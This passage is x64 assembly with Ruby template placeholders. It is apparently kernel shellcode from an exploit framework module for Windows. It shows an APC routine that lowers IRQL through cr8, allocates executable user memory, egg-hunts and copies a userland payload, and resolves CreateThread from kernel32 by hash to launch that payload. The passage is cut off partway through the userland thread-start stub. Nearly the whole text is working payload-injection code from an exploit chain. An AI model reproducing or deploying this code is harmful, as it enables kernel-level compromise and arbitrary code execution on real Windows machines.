; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
push rbp
push rbx
push rdi
push rsi
push r15
mov rbp, [r8] ; *NormalContext is our data area pointer
mov r15, [rbp+#{data_nt_kernel_addr_offset}]
push rdx
pop rsi ; mov rsi, rdx
mov rbx, r9
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
; rdx is already address of baseAddr
mov [rdx], rax ; baseAddr = 0
mov ecx, eax
not rcx ; ProcessHandle = -1
mov r8, rax ; ZeroBits
mov al, 0x40 ; eax = 0x40
push rax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push rax ; MEM_COMMIT = 0x1000
; reuse r9 for address of RegionSize
mov [r9], rax ; RegionSize = 0x1000
sub rsp, 0x20 ; shadow stack
mov edi, #{zwallocatevirtualmemory_hash}
call win_api_direct
add rsp, 0x30
; check error
test eax, eax
jnz _kernel_kapc_routine_exit
;======================================
; copy userland payload
;======================================
mov rdi, [rsi]
;--------------------------- HACK IN EGG USER ---------
push rdi
lea rsi, [rel shellcode_start]
mov rdi, 0x#{USERMODE_EGG.to_s(16)}
_find_user_egg_loop:
sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
mov rax, [rsi - 8]
cmp rax, rdi
jnz _find_user_egg_loop
_inner_find_user_egg_loop:
inc rsi
mov rax, [rsi - 8]
cmp rax, rdi
jnz _inner_find_user_egg_loop
pop rdi
;--------------------------- END HACK EGG USER ------------
mov ecx, 0x380 ; fix payload size to 0x380 bytes
rep movsb
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov rax, [rbp+#{data_peb_addr_offset}]
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; InMemoryOrder list
;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
;mov rbx, rsi ; use rbx for iterating thread
_find_kernel32_dll_loop:
mov rax, [rax] ; first one always be executable
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x50 => is name
; offset 0x20 => is dllbase
;cmp word [rax+0x38], 0x40
;jne _find_kernel32_dll_loop
cmp word [rax+0x48], 0x18
jne _find_kernel32_dll_loop
mov rdx, [rax+0x50]
; check only "32" because name might be lowercase or uppercase
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
;int3
mov r15, [rax+0x20]
mov edi, #{createthread_hash}
call get_proc_addr
; save CreateThread address to SystemArgument1
mov [rbx], rax
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
pop r15
pop rsi
pop rdi
pop rbx
pop rbp
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0